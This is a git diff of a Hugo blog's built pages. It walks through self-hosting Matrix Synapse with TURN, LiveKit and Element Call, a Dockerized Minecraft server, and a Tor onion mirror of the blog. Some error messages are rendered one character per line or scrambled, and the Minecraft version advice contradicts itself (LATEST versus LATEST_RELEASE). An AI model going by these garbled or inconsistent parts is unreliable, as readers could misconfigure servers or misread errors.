    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    \ No newline at end of file diff --git a/public/tags/nginx/page/1/index.html b/public/tags/nginx/page/1/index.html new file mode 100644 index 0000000..ef737f8 --- /dev/null +++ b/public/tags/nginx/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nginx/ + \ No newline at end of file diff --git a/public/tags/paper/index.html b/public/tags/paper/index.html new file mode 100644 index 0000000..f357bd6 --- /dev/null +++ b/public/tags/paper/index.html @@ -0,0 +1,10 @@ +Paper | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/paper/index.xml b/public/tags/paper/index.xml new file mode 100644 index 0000000..3350dad --- /dev/null +++ b/public/tags/paper/index.xml @@ -0,0 +1,259 @@ +Paper on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/paper/Recent content in Paper on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    \ No newline at end of file diff --git a/public/tags/paper/page/1/index.html b/public/tags/paper/page/1/index.html new file mode 100644 index 0000000..a746dd9 --- /dev/null +++ b/public/tags/paper/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/paper/ + \ No newline at end of file diff --git a/public/tags/papermod/index.html b/public/tags/papermod/index.html new file mode 100644 index 0000000..890c0a9 --- /dev/null +++ b/public/tags/papermod/index.html @@ -0,0 +1,15 @@ +Papermod | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/papermod/index.xml b/public/tags/papermod/index.xml new file mode 100644 index 0000000..b4eafab --- /dev/null +++ b/public/tags/papermod/index.xml @@ -0,0 +1,680 @@ +Papermod on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/papermod/Recent content in Papermod on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + + + +
    + + + + + + +H +H +i +i +d +d +d +d +e +e +n +n +S +S +e +e +r +r +v +v +i +i +c +c +e +e +D +P +i +o +r +r +t +v +8 +a +0 +r +/ +1 +l +2 +i +7 +b +. +0 +t +. +o +0 +r +. +1 +h +: +i +3 +d +3 +d +0 +e +1 +n +_ +s +i +t +e +/ + + + + +
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
